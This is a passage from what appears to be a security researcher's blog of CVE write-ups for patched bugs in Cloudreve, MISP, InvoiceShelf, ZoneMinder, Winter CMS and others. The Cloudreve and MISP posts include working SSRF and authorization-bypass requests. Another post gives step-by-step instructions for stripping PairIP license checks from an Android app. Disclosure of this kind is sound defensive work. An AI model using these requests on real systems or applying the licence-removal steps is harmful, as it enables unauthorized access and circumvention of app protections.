The public GHSA now lists: - CVE: `CVE-2026-54717` - Severity: `Moderate` - CVSS: `5.4` - Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` - Affected: versions before `6.2.1` - Patched: `6.2.1` That is a bit more conservative than how I initially thought about the issue during reporting, but the underlying bug is still the same stored XSS in authenticated CMS workflow. ## Fix direction The fix direction is also the obvious one. Any user-controlled value included in the breadcrumb output should be escaped before it is inserted into the HTML fragment. In SilverStripe terms, that means using proper output encoding such as: ```php Convert::raw2xml() ``` or the equivalent escaping path before rendering the breadcrumb string. ## Reference - [GHSA-w3cp-g2pf-65wh / CVE-2026-54717](https://github.com/silverstripe/silverstripe-cms/security/advisories/GHSA-w3cp-g2pf-65wh)

an idor in xibo notification export

b4r — Mon, 22 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-50539** in **Xibo CMS**. This one was a pretty direct object-level authorization bug on notification attachments. The vulnerable route was: ```http /notification/export/{id} ``` According to the public advisory, any authenticated user could iterate over sequential notification IDs and download attachments from notifications they did not own, including notifications created by administrators. That is a simple bug, but still a very useful one. ## The bug The advisory describes the issue as missing ACL on the notification export path. That matters because the attacker did not need some weird elevated role. The only capability called out in the public advisory was standard authenticated access to the Notification Centre so the user could view past notifications. Once the route accepted an attacker-controlled notification ID without object-level authorization, the rest was predictable: - notification IDs were sequential - attachments were tied to those notifications - the export route would serve the attachment if the ID existed So the real boundary was never "can this user open the Notification Centre at all?" The real boundary should have been: > does this notification attachment belong to a notification this specific user is allowed to export? That is the question the route failed to ask. ## What the attacker needs The public advisory keeps the attacker requirements pretty light: - authenticated user - standard access to the Notification Centre That is important because the bug was not framed as "admin can download admin files." It was framed as a normal authenticated user path missing object-level authorization on export. ## Impact The public advisory states the impact directly: - any authenticated user could download attachments from any notification - this included notifications created by administrators - exploitation worked by iterating over sequential notification IDs So this was a **confidentiality** issue, not an integrity bug. The advisory severity data lists: - Severity: `Moderate` - CVSS: `6.5` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` - CWE: `CWE-862` That feels about right. The attacker still needed an authenticated session, but after that the missing object-level check made the attachment export path too trusting. ## Versions The public advisory lists: - CVE: `CVE-2026-50539` - Affected: `4.4.2` - Patched: `>= 4.4.3` The advisory was published on **June 21, 2026**. ## What the public advisory did and did not give The advisory is strong on the boundary and lighter on internal code detail. The useful public part is clear: - route - attacker class - object-level bug - affected and patched versions But the advisory does not publish an internal code snippet for the missing ACL check itself, so I am not padding this write-up with guessed controller internals. The bug is already clear enough without pretending we got a source diff from the advisory page. ## Reference - [GHSA-p4pg-v57g-7jf6 / CVE-2026-50539](https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-p4pg-v57g-7jf6)

an ssrf in cloudreve through remote download

b4r — Sun, 21 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-54562** in **Cloudreve**. This one was a server-side request forgery in the remote download workflow, with an important permission boundary. It was **not** "any normal user can SSRF the server by default." The attacker needed to be: - authenticated - non-admin - in a group with `GroupPermissionRemoteDownload` enabled That still mattered, because `remote download` is a feature-level group capability, not an admin-only role switch by itself. Once that permission was granted to a non-admin group, the user could queue a remote download to loopback or another internal-only target, wait for Cloudreve to import the fetched response into their files, and then read it back normally. ## The bug The root issue was simple. Cloudreve accepted a user-supplied URL for the remote download workflow, then passed it to the downloader without filtering loopback, localhost, IPv6 localhost, or redirect-to-loopback targets. The affected endpoint was: ```http POST /api/v4/workflow/download ``` And the follow-up readback path stayed inside the normal product flow: ```http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url ``` That is what made the bug stronger than a blind SSRF primitive. The attacker did not just cause an internal request. They could also recover the fetched response body after import. ## Why it worked The advisory called out three relevant code paths: ```text service/explorer/workflows.go:81 pkg/filemanager/workflows/remote_download.go:202 pkg/downloader/aria2/aria2.go:56 ``` At a high level, the permission check existed, but it only answered: > is this user group allowed to use remote download at all? It did **not** answer: > is this submitted URL safe to fetch from the server side? That missing second check is the whole issue. The advisory also makes the scope of the bug very explicit: the application did not block loopback, `localhost`, IPv6 localhost, or redirect targets resolving to internal addresses. ## The negative control mattered The cleanest part of this bug was the permission negative control. Before the remote download permission was enabled for the default non-admin `User` group, the same request was denied: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"} ``` Response: ```json {"code":40007,"msg":"Group not allowed to download files"} ``` That matters, because it shows this was not an accidental "everyone can do it" bug. The attack only became reachable after granting **just** the remote download capability to a non-admin group. ## The exploit path Once the user had remote download permission, the SSRF path was straightforward. Queue a loopback download: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"} ``` Response: ```json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]} ``` The internal listener on the Cloudreve host received the request: ```text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 - ``` Then Aria2 completed the fetch and Cloudreve imported it: ```text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2 ``` After that, the attacker could read the imported file as a normal Cloudreve file and recover the response body: ```text SSRF_SECRET_2_20260527 ``` That is the part that turns this from "server made a request" into a much more useful SSRF. ## Validated variants The advisory also confirmed that this was not limited to one loopback string. Validated targets included: - `http://127.0.0.1:7777/secret2` - `http://localhost:7777/localsecret` - `http://[::1]:7780/v6secret` - redirect to `http://127.0.0.1:7777/redirsecret` And the readback markers were recovered successfully for each variant: - `SSRF_SECRET_2_20260527` - `LOCALHOST_SECRET_20260527` - `IPV6_SECRET_20260527` - `REDIR_SECRET_20260527` That last one matters because redirect handling often gets forgotten even when direct URL parsing is filtered later. ## Impact The confirmed impact was: - internal loopback HTTP services reachable from the downloader environment - imported response bodies readable by the attacker afterward The advisory explicitly calls out exposure such as: - internal HTTP services - loopback-only admin panels - local service metadata - other network resources not directly reachable by the attacker That is why the issue was classified as confidentiality impact, not just "weird network behavior." ## Severity and versions The advisory data you shared lists: - CVE: `CVE-2026-54562` - Severity: `Moderate` - CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` - CWE: `CWE-918` - Affected: `<= 4.16.0` - Patched: `4.16.1` So yes, this one is already patched. ## The boundary I kept I kept this write-up narrow in the same way the advisory did. This is **not** a default-every-user bug. Default normal users were blocked. The vulnerable path depended on a non-admin user group being granted remote download permission. That still leaves a real package-level issue, because the permission model exposed a feature to non-admin users without putting any server-side URL safety policy behind it. ## Reference - [GHSA-x756-g4x3-c64m / CVE-2026-54562](https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m)

a delete bypass in misp through crudcomponent

b4r — Sun, 21 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-10860** in **MISP**. The bug sat in the shared delete helper, but the runtime-confirmed impact I cared about was much narrower: - low-privileged authenticated user - `perm_galaxy_editor` - target galaxy owned by another organisation - real HTTP `DELETE` That was enough to delete another organisation's galaxy through: ```http DELETE /galaxies/delete/{id}.json ``` The nice part was that the normal `POST` delete path was denied correctly. The `DELETE` path was the one that slipped through. ## The bug The root cause was an operator precedence mistake in `CRUDComponent::delete()`. The vulnerable condition was: ```php if ($validationError === null && $this->Controller->request->is('post') || $this->Controller->request->is('delete')) { ``` Because `&&` binds tighter than `||`, that condition is evaluated like this: ```php if (($validationError === null && is_post) || is_delete) { ``` So once the request is a real HTTP `DELETE`, the destructive branch is entered even if the validation callback has already failed. That is the whole bug. And in the galaxy case, the failed validation was meaningful. `GalaxiesController::delete()` passes a validation callback that ends up checking whether the caller is actually allowed to delete that galaxy. In the validated path, that callback correctly rejected users outside the creator organisation. The helper just kept going anyway for `DELETE`. ## The validated impact I kept the write-up narrow on purpose. The shared helper bug could matter in more than one place, but the low-privileged, security-relevant, runtime-confirmed impact I validated was: **unauthorized cross-organisation galaxy deletion** The attacker was: - authenticated - not a site admin - in a different organisation - allowed to work with galaxies in general - not allowed to delete the victim galaxy The target galaxy was visible from the listing, but it was not supposed to be modifiable by that user. ## The request flow The interesting part was how the same target behaved differently depending on the HTTP method. ### Listing path The attacker could see the target galaxy through the normal listing: ```http GET /galaxies/index.json Authorization: Accept: application/json ``` That gave the attacker a valid target ID to work with. ### Negative control: POST delete was denied ```http POST /galaxies/delete/1.json Authorization: Accept: application/json Content-Type: application/json ``` Response: ```json { "saved": false, "name": "Could not delete Galaxy", "message": "Could not delete Galaxy", "url": "/galaxies/delete/1", "errors": "Only the creator organisation can modify the galaxy" } ``` That response is important because it proves the intended authorization rule was alive and working. ### Exploit: HTTP DELETE bypassed the failed validation ```http DELETE /galaxies/delete/1.json Authorization: Accept: application/json ``` Response: ```json { "saved": true, "success": true, "name": "Galaxy deleted.", "message": "Galaxy deleted.", "url": "/galaxies/delete/1", "id": 1 } ``` That is the whole exploit in one request. ## Post-condition proof I also verified that this was not just a misleading success message. Admin view after deletion: ```http GET /galaxies/view/1.json Authorization: Accept: application/json ``` Response: ```text 404 Invalid Galaxy ``` And the database check confirmed the row was gone: ```sql select count(*) as galaxy_count from galaxies where id = 1; ``` Result: ```text galaxy_count 0 ``` So the bypass reached the real destructive sink. ## Why the galaxy path was the right one to report I checked other `CRUDComponent::delete()` call sites because I did not want to overclaim the bug. There were other places where the same sink was reachable, but they did not all give the same reportable outcome. The galaxy path was the one that cleanly crossed a real organisation boundary with a low-privileged user and a confirmed destructive result. That was enough on its own. ## Severity and CVE The public CVE page lists: - CVE: `CVE-2026-10860` - Severity: `High` - CVSS v4: `7.9` - CWE: `CWE-863 Incorrect Authorization` The public description talks about the shared delete helper generically. My write-up here keeps the boundary tighter than that and sticks to the runtime-confirmed galaxy deletion path in **MISP 2.5.38**. ## Fix The minimum safe fix is to make the validation result apply to both methods: ```php if ($validationError === null && ($this->Controller->request->is('post') || $this->Controller->request->is('delete'))) { ``` But the more robust fix is the obvious one: once validation fails, the helper should stop immediately and never continue into any delete branch at all. ## Reference - [CVE-2026-10860](https://cve.threatint.eu/CVE/CVE-2026-10860)

an idor in winter fileupload

b4r — Sun, 21 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-54256** in **Winter CMS**. This one lived in the backend `FileUpload` widget. The bug was not about file contents. It was about what happened after the widget trusted an attacker-controlled `file_id` and resolved it globally instead of scoping it to the current relation. So any authenticated backend user who could reach a form containing a file upload field could target another attachment record and modify metadata that did not belong to them. The built-in **My Account** avatar form was enough to reach the vulnerable widget path, which made the attack surface much wider than "admins editing content." ## The bug The vulnerable lookup sat in `FileUpload::getFileRecord()`. According to the advisory, the old code effectively did this: ```php $this->getRelationModel()->find(post('file_id')) ``` That is the whole problem. The posted `file_id` was resolved against the global `system_files` table without checking whether the file actually belonged to: - the widget's own relation - the current parent record - the current deferred-binding session So once an attacker could send requests to that widget, the only thing they really needed was a valid attachment ID. And those IDs were easy to enumerate because they were sequential integers. ## What an attacker could do The advisory confirmed two concrete write impacts. An authenticated backend user could: - modify another attachment's title and description via `onSaveAttachmentConfig` - change another attachment's `sort_order` via `onSortAttachments` The second bug was especially clean because the posted IDs were passed straight into an unscoped sortable update. The same unscoped lookup path was also reachable from: - `onLoadAttachmentConfig` - `onSaveAttachmentConfig` - `onRemoveAttachment` So even though the confirmed impact was framed around unauthorized integrity changes, the unsafe object resolution itself was shared across multiple widget actions. ## Why the My Account path mattered The advisory called out an important detail: the built-in **My Account** avatar field was enough. That means the issue did not depend on some unusual plugin or privileged editorial flow. A backend account with basically any level of access could reach a form containing the widget and start testing `file_id` tampering from there. The attack still needed: - an authenticated backend session - valid CSRF token handling But it did **not** need site-admin level access. That keeps the bug firmly in low-privileged authenticated territory, which is the interesting place for this kind of issue. ## The patch The fixed version changed the widget to scope lookups through the actual relation, including deferred-bound files in the current session. The advisory described the fix like this: ```php $this->getRelationObject()->withDeferred($this->sessionKey)->find(post('file_id')) ``` That is the right shape. Instead of treating the posted ID as a global file record reference, the widget now asks: > does this file ID belong to this relation in this widget context? The sort path was fixed the same way in spirit: posted IDs are filtered down to IDs that actually belong to the relation before `setSortableOrder()` is called. That is exactly the boundary the old code was missing. ## Versions and severity The advisory data you shared lists: - CVE: `CVE-2026-54256` - Severity: `Moderate` - CVSS: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N` - Weaknesses: `CWE-284`, `CWE-639` - Affected: `<= 1.2.12` - Patched: `1.2.13` The fix landed in: - commit `9cb0ae5f9d837db141ab111c6a7de8eed9603d25` ## The boundary I kept I kept the write-up aligned with the confirmed impact from the advisory. This post is about: - authenticated backend access - attacker-controlled `file_id` - cross-user or cross-record attachment targeting - unauthorized metadata and ordering changes I did **not** stretch it into arbitrary file read or arbitrary file overwrite, because that is not what the advisory confirmed. The useful bug here is already clear enough without inflating it. ## Reference - [GHSA-3277-h8g9-qj5f / CVE-2026-54256](https://github.com/wintercms/winter/security/advisories/GHSA-3277-h8g9-qj5f)

bypassing pairip with manual modification

b4r — Wed, 17 Jun 2026 00:00:00 GMT

## TL;DR After patching an app, sometimes the next blocker is not SSL pinning anymore. It is PairIP. If the target only wires PairIP from the Java side, the bypass is usually much less annoying than people expect. No fancy runtime hook, no extra module, no chasing native code first. Just decompile, inspect the manifest, cut the PairIP components, rebuild, sign again, and test. This note is only about that path. ## When this works PairIP usually shows up in one of two shapes, and figuring out which one you are dealing with saves a lot of wasted time. The first one is the lighter integration. The integrity check lives in the Java or Kotlin layer and gets wired in through the manifest. In that case, once you decompile the APK, searching `AndroidManifest.xml` for `pairip` usually gets you straight to the relevant component. Typical entries look like: - `activity` - `provider` - sometimes a `receiver` or `service` - a related permission like `com.android.vending.CHECK_LICENSE` If that is what you see, a manifest edit is worth trying first. The second one is the heavier integration. If the APK ships something like `libpairip.so` under `lib/arm64-v8a` or another ABI directory, then part of the protection is already sitting in native code. At that point, a manifest-only tweak usually stops being enough. For the case I wanted to write down here, the target landed in the first bucket. The integrity check was still being registered from the Java side, so the bypass was basically a controlled manifest cleanup. ## The actual edit Start by decompiling the APK with Apktool: ```bash apktool d release.RE.apk ``` If the decompile finishes cleanly, open `AndroidManifest.xml` from the unpacked project and search for `pairip`. The important part here is to remove the whole XML element, not just trim the class name and leave junk behind. If the element has child tags like `intent-filter`, remove the full block cleanly. In the sample case, the manifest looked roughly like this: ```xml

``` The lines that mattered were the PairIP ones, not the unrelated scheduler components above them. So the cleanup target was: - remove the `com.pairip.licensecheck.LicenseActivity` - remove the `com.pairip.licensecheck.LicenseContentProvider` - remove the `com.android.vending.CHECK_LICENSE` permission entry That is the kind of edit I prefer for this situation. Do not overthink it. If the manifest entry is what boots the integrity logic, cut the registration point out completely. The target is simple: - no `com.pairip.*` component left in the manifest - no leftover PairIP-related permission entry - no broken XML after the cleanup ## Rebuild and sign Once the manifest is clean, rebuild the project: ```bash apktool b release.RE ``` After that, sign the rebuilt APK again: ```bash java -jar uber-apk-signer.jar -a release.RE.apk ``` If the rebuild and signing steps finish cleanly, install the signed APK and launch it again. In this specific path, that is the checkpoint that matters most: - the app should boot - the PairIP integrity popup should be gone - the previous patching work should finally be usable again If that happens, the manifest path was the real entry point and the manual bypass did its job. ## Reference - [Bypassing PairIP Integrity Checks](https://petruknisme.medium.com/bypassing-pairip-integrity-checks-21d7bdd4a052)

a public link bug in invoiceshelf

b4r — Wed, 17 Jun 2026 00:00:00 GMT

## TL;DR I got **CVE-2026-55383** in **InvoiceShelf**. This one sat behind public customer document links. At first glance those links looked isolated enough: each token was supposed to belong to one specific document flow, like an invoice, estimate, or payment. The problem was that the backend trusted the token's numeric `mailable_id` too much and its `mailable_type` not enough. So a token issued for one document type could be replayed against another public customer endpoint as soon as the numeric IDs happened to collide. And on the JSON endpoints, expired tokens still kept working. ## The bug The core mistake was simple. InvoiceShelf resolved an `EmailLog` from the public token, then fetched the target model with a plain `Model::find($emailLog->mailable_id)`. That means the token lookup stopped at "here is an ID" instead of finishing the job and checking "does this token actually belong to this document type?" The advisory phrased the vulnerable pattern pretty directly: ```php // JSON handler shape described in the advisory Invoice::find($emailLog->mailable_id) ``` And the missing checks were just as important: ```php $emailLog->mailable_type $emailLog->isExpired() ``` So this was not some complicated state machine bug. The token was resolved, the numeric ID was trusted, and the stronger binding checks were missing from the JSON path. So if a payment token pointed to `mailable_id = 42`, and another company had an invoice with `id = 42`, the payment token could be replayed against the invoice endpoint and return the other company's invoice data. It was not some giant auth bypass. It was a type confusion problem hiding inside a public-link flow that already looked familiar and boring. ## Why it mattered The advisory confirmed impact across all three public customer document models: - invoices - estimates - payments And the affected routes were not just one odd corner. The bug hit all six public customer document routes: ```http GET /customer/invoices/{email_log:token} GET /customer/invoices/view/{email_log:token} GET /customer/estimates/{email_log:token} GET /customer/estimates/view/{email_log:token} GET /customer/payments/{email_log:token} GET /customer/payments/view/{email_log:token} ``` So once a token existed, the real question became whether another document in another company had the same numeric ID. If it did, the boundary was gone. ## What the attacker gets The public advisory describes two concrete outcomes. First, the obvious one: **cross-company disclosure**. A token issued for one record type could disclose another company's data from a different record type. The example in the advisory showed invoice JSON coming back with fields like: - `invoice_number` - `customer.email` - `company.slug` - line items - totals Second, one of the view routes also caused **state mutation**. Replaying a mismatched token against the invoice view route could flip an invoice from `SENT` to `VIEWED`, set the viewed flag, and even trigger a notification if viewed notifications were enabled. So this was not just read-only confusion. In at least part of the flow, it also changed state across company boundaries. ## The expiry bug made it worse There was a second issue in the same public-link path. The PDF/view handlers enforced `EmailLog::isExpired()`, but the JSON handlers did not. So an expired token was still accepted indefinitely on the JSON endpoints. That matters because it stretches the attack window from "while the link is still valid" to "basically whenever that old token still exists in somebody's inbox or email history." And once you combine that with the type confusion bug, old public tokens become reusable bearer tokens against matching document IDs with no real time limit on the JSON side. The advisory also gave two very clean request examples: ```http GET /customer/invoices/T GET /customer/invoices/view/T?pdf=1 ``` The first one showed the cross-type JSON disclosure. The second one showed that the view route could also mutate invoice state. ## Root cause in one line The public token flow bound access to `mailable_id`, but did not strongly bind it to the expected `mailable_type`, and the JSON handlers skipped expiry enforcement entirely. That is the whole bug. ## Severity and versions The public advisory lists: - CVE: `CVE-2026-55383` - Severity: `High` - Weakness: `CWE-285` - Affected: versions before `2.4.0` - Patched: `2.4.0` The advisory was published on **June 12, 2026**. ## Reference - [GHSA-73q7-2953-8gvx / CVE-2026-55383](https://github.com/InvoiceShelf/InvoiceShelf/security/advisories/GHSA-73q7-2953-8gvx)

an event media authz bug in zoneminder

b4r — Sat, 13 Jun 2026 00:00:00 GMT

## TL;DR I also got **CVE-2026-54258** in **ZoneMinder**. This one was a clean authorization bug around direct event media endpoints. A low-privileged authenticated user with coarse `Events=View` and/or `Snapshots=View` permissions could directly fetch media for events belonging to monitors they were explicitly denied access to. The normal UI hid the restricted monitor and its events correctly. The direct media endpoints did not. ## The bug The vulnerable pattern here was simple: - the user had enough coarse permission to view event-related features in general - the user did **not** have access to a specific victim monitor - normal console and event views respected that restriction - direct media endpoints accepted an attacker-controlled `eid` and streamed the event media anyway So the app got the high-level permission boundary right, but skipped the actual object-level authorization at the point where the media was fetched. That is why this one matters. It was not just "you can see a hidden link in the UI." It was a backend path returning real media for an event that belonged to a monitor the caller should not have been able to access. ## Affected endpoints The advisory lists these direct media paths: Stable `1.38.3` and `master`: ```http GET /zm/index.php?view=image&eid=&fid=snapshot GET /zm/index.php?view=image&eid=&fid=&show=capture GET /zm/index.php?view=view_video&eid= ``` And on current `master`: ```http GET /zm/index.php?view=view_hls&eid= ``` ## Root cause According to the advisory, the direct media handlers checked only coarse area permissions like: - `canView('Events')` - `canView('Snapshots')` After that, they resolved the supplied event ID and streamed media from the event path without enforcing the per-event or per-monitor ACL through the event object itself. The useful code-level clue from the advisory was this split: ```php canView('Events') canView('Snapshots') $Event->canView() ``` The first two checks existed. The last one was the one that should have mattered for the actual event object, and that was the missing boundary. That is the whole issue. The codebase already had monitor/event-level ACL semantics, and the normal UI respected them. These direct media endpoints just bypassed that layer. The advisory also named the relevant files directly: ```text web/views/image.php web/views/view_video.php web/views/view_hls.php ``` That made the bug much easier to reason about than a vague "some media endpoint" description. ## What the attacker gets The confirmed exposed content included: - event snapshots - captured frames - recorded MP4 video - HLS playlists on `master` So this was a straightforward **confidentiality** problem affecting surveillance footage. That is why this one feels stronger than a lot of ordinary UI-only leaks. The returned data was not metadata or a label. It was the actual underlying media. ## What made it good evidence The advisory explicitly confirmed that the restricted user could not see the victim monitor or its events through the intended UI. That matters, because it shows the app already knew the user was not supposed to have access. Then the direct media requests still returned: - JPEG snapshots - JPEG captured frames - MP4 video - and on `master`, a real HLS playlist That kind of contrast is always solid: - intended UI says no - direct object fetch says yes ## Severity and versions The public advisory lists: - CVE: `CVE-2026-54258` - Severity: `Moderate` - CVSS: `6.5` - Affected: - versions before `1.36.39` - `>= 1.37.0, < 1.38.4` - `>= 1.39.0, < 1.39.11` - Patched: - `1.36.39` - `1.38.4` - `1.39.11` The advisory also notes validation on: - `1.38.3` - current `master` ## Reference - [GHSA-vj5r-pc2v-gfwv / CVE-2026-54258](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-vj5r-pc2v-gfwv)

a second-order ddns authz bug in nezha

b4r — Wed, 10 Jun 2026 00:00:00 GMT

## TL;DR I also got **CVE-2026-53521** in **Nezha**. This one was more interesting than a normal IDOR because it was **second-order**. The short version: - `PATCH /server/{id}` accepted nonexistent `ddns_profiles` IDs - those unresolved IDs were stored on the attacker's server - if another user later created a DDNS profile with one of those IDs, the worker would resolve it - and the DDNS update path would run using the **victim profile configuration** in the context of the **attacker server** So the cross-user reference was not valid at write time. It became valid later. That delayed resolution is what made the issue work. ## The bug Nezha already blocked the obvious attack. If the attacker tried to bind an **existing foreign** DDNS profile directly, the permission check denied it. That is the part that makes this bug worth talking about. The normal boundary existed. It just had a hole in a less obvious place. The server update path only rejected DDNS profile IDs that already existed and belonged to someone else. If the submitted ID did **not** exist yet, it was skipped and still persisted into the raw server state. Later on, the DDNS worker trusted that stored ID, resolved it by ID, and dispatched a DDNS update without revalidating ownership against the server owner. That means a fake reference could sit there quietly until another user eventually created the real object behind it. At that point, the stale attacker-controlled reference turned into a live cross-user binding. ## What the worker actually did According to the advisory, the validated worker path combined: - the victim DDNS profile ID and owner - the victim profile provider type - victim profile fields such as domains, access ID, access secret, and retry policy - attacker server context, including attacker-controlled override domains That is important because this was not just "the worker can look up the wrong object." The worker actually **used** the victim profile configuration when processing the attacker server. ## What I did not claim The advisory was clear about the limits. What was **not** confirmed: - direct credential disclosure to the attacker - guaranteed external DNS modification across every provider - account takeover The credentials stayed server-side in the validated path. The downstream impact depended on the provider configuration and on what the victim provider account was allowed to update. So this is not a "full compromise" bug. It is an authorization flaw in a deferred worker path with real downstream effects. ## Severity and versions The public advisory lists: - CVE: `CVE-2026-53521` - Severity: `Moderate` - CVSS: `6.4` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L` - Affected: `>= 2.0.14, < 2.1.0` - Patched: `2.1.0` The advisory also notes that the issue was confirmed on: - Nezha `v2.0.14` - commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` ## The practical catch This bug was not frictionless. The attacker had to predict or prebind future DDNS profile IDs, which limits severity. But that does not make it fake. The unresolved IDs were stored, survived reload, and became active later if the predicted ID got assigned to another user's new DDNS profile. That is enough for a real second-order authz issue. ## Reference - [GHSA-39g2-8x68-pmx8 / CVE-2026-53521](https://github.com/nezhahq/nezha/security/advisories/GHSA-39g2-8x68-pmx8)

another sharp authz bug, this time in quick creation

b4r — Wed, 10 Jun 2026 00:00:00 GMT

## TL;DR I ended up with another **Sharp** CVE: **CVE-2026-53634**. This one was about the **Quick Creation Command** feature. The vulnerable part was simple: - the create endpoint did not enforce authorization - the store endpoint did not enforce authorization either So an authenticated Sharp user without create permission on a given entity could still reach the quick creation flow for that entity, as long as a `quickCreationCommandHandler()` had been configured for it. That meant they could: - retrieve the creation form - and in some cases submit new records they should never have been allowed to create ## Why this one mattered The authorization check was just missing where it actually mattered. From the outside, everything may still look permission-aware because the app has a create policy, the entity exists, and the user is inside an authenticated admin context. But once one feature path forgets to apply the same rule, the whole permission boundary becomes fake for that path. That is exactly what happened here. ## The bug According to the advisory, the vulnerable surface was the **Quick Creation Command** feature. The quick creation endpoints accepted requests from authenticated Sharp users, but did not verify whether the caller actually had permission to create that entity. So if an entity exposed a quick creation handler, a user who lacked normal create permission could still hit those endpoints directly and bypass the authorization layer. The UI is not the main story here. The real issue is that the backend route path itself forgot to ask the authorization question. The advisory did not publish controller code, but it did pin the vulnerable shape closely enough: ```php quickCreationCommandHandler() create endpoint store endpoint ``` That was the useful part here. If the entity had quick creation enabled, both steps in the flow were reachable without the expected create check. ## What an attacker gets The public impact is straightforward: - unauthorized access to the quick creation form - unauthorized record creation for entities wired into the quick creation command flow That makes this primarily an **integrity** issue, not a confidentiality bug. The public advisory reflects that with: - Severity: `Moderate` - CVSS: `4.3` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N` ## Affected versions The advisory lists: - Package: `code16/sharp` - Affected: `>= 9.0.0, < 9.22.3` - Patched: `9.22.3` - CVE: `CVE-2026-53634` ## Workaround If upgrading is not immediately possible, the advisory recommends removing or disabling `quickCreationCommandHandler()` on entity lists where unauthorized access would matter. That does not fix the root cause, but it does reduce the exposed surface until the package is upgraded. ## Reference - [GHSA-vmwx-m75v-qvch / CVE-2026-53634](https://github.com/code16/sharp/security/advisories/GHSA-vmwx-m75v-qvch)

an idor in openproject through meeting agenda items

b4r — Mon, 08 Jun 2026 00:00:00 GMT

## TL;DR I got another CVE, this time in **OpenProject**: **CVE-2026-49355**. The bug was in: ```http GET /api/v3/meetings/:meeting_id/agenda_items/:agenda_item_id ``` That endpoint could disclose private work package data from a linked work package that belonged to a private or otherwise inaccessible project. So this was not some broad auth bypass across the whole app. It was narrower than that. But it was still a real cross-boundary leak, and that was enough. ## The bug What made this one nice is that the issue sat in a place that looked pretty normal at first. The request was for a **meeting agenda item**, not directly for the private work package itself. That is exactly why it matters. The API path looked like it was returning one object, but it was actually pulling in linked data from somewhere else. And that linked data was not being scoped tightly enough before it got returned. So even if the user was not supposed to have access to the private project behind that work package, the single agenda item endpoint still leaked data from it. That kind of bug is always worth paying attention to: - direct object access may be blocked - obvious project-level boundaries may look correct - but a linked-resource endpoint brings the exposure back in through the side door ## What the impact actually was According to the advisory, the confirmed issue was **private work package data disclosure**. So this is primarily a **confidentiality** bug: - not an integrity bug - not an availability problem - not a full system compromise Just a clean information leak across an authorization boundary. The public advisory reflects that with: - Severity: `Moderate` - CVSS: `4.3` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` That feels about right. You still need a valid low-privileged authenticated context, but once you have that, the issue is straightforward and the leaked data belongs to a project you were not supposed to access. ## Root cause in one line The agenda item API trusted the linked work package relationship more than it trusted the caller's actual access to the linked project. That is really the whole story. The bug was not "OpenProject forgot auth exists." The bug was that one endpoint exposed data through an object relationship that did not get re-checked strongly enough at the point of read. ## Affected and fixed version The public advisory lists: - Affected: `17.4.0` - Patched: `17.4.1` The assigned CVE is: - `CVE-2026-49355` ## Reference - [GHSA-g387-6rm2-xw88 / CVE-2026-49355](https://github.com/opf/openproject/security/advisories/GHSA-g387-6rm2-xw88)

two wallos cves from the same trust mistake

b4r — Fri, 05 Jun 2026 00:00:00 GMT

## TL;DR I picked up two CVEs in **Wallos**: - `CVE-2026-50198` - `CVE-2026-50199` Neither of them was some huge flashy bug. No RCE, no auth bypass, no full account takeover. But I still liked both of them because they came from the same kind of mistake: user-controlled state was accepted in one place, then trusted later without being tied back to the right user. That kind of bug is easy to underestimate until you actually trace what the application does with the foreign reference. ## The two bugs ### CVE-2026-50198 This one was published as: `Cross-user subscription cost inference via replacement_subscription_id` The issue was in how Wallos handled `replacement_subscription_id` on inactive subscriptions. An authenticated normal user could edit **their own** inactive subscription and point `replacement_subscription_id` at another user's subscription ID. The write was accepted. Later, the stats logic dereferenced that foreign ID without scoping the lookup back to the current user. So this was not direct object disclosure in the usual sense. The app did not suddenly return the victim subscription row in full. What it did leak was still real: the attacker could infer another user's **monthly-normalized subscription cost** by watching how their own stats changed after swapping in victim subscription IDs. That detail mattered because the obvious read path had already been blocked. According to the advisory: - direct cross-user subscription reads were denied - direct writes against the victim subscription row were not confirmed - the leak only showed up after the attacker stored a foreign `replacement_subscription_id` in their **own** record and waited for the stats logic to consume it So the bug lived in the gap between "write accepted" and "foreign reference trusted later." The advisory was specific enough to show the important lookup boundary: ```sql SELECT price, currency_id, cycle, frequency FROM subscriptions WHERE id = :replacementSubscriptionId ``` And just as important, it called out the missing constraint: ```sql AND user_id = :userId ``` That missing user scope is what turned an otherwise normal reference lookup into a cross-user leak. ## Why it mattered The confirmed impact was limited, but not fake. The attacker could infer financial metadata from another user's subscriptions without direct read access to that subscription object. That is enough to cross a real tenant boundary, even if the leak is derived rather than raw. The public advisory lists it as: - CVE: `CVE-2026-50198` - Severity: `Moderate` - CVSS: `4.3` - Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` - Affected: `4.9.0` - Patched: `4.9.1` The write path in the advisory also made the exploit shape easy to follow: ```http POST /endpoints/subscription/add.php ... replacement_subscription_id=100 ``` That was the whole setup. The attacker stored the foreign reference in their own inactive subscription, and the leak only appeared later when the stats logic consumed it. ## CVE-2026-50199 The second one was published as: `Cross-user Fixer/API Layer credential consumption in exchange-rate refresh` This one was cleaner. `endpoints/currency/update_exchange.php` loaded the first 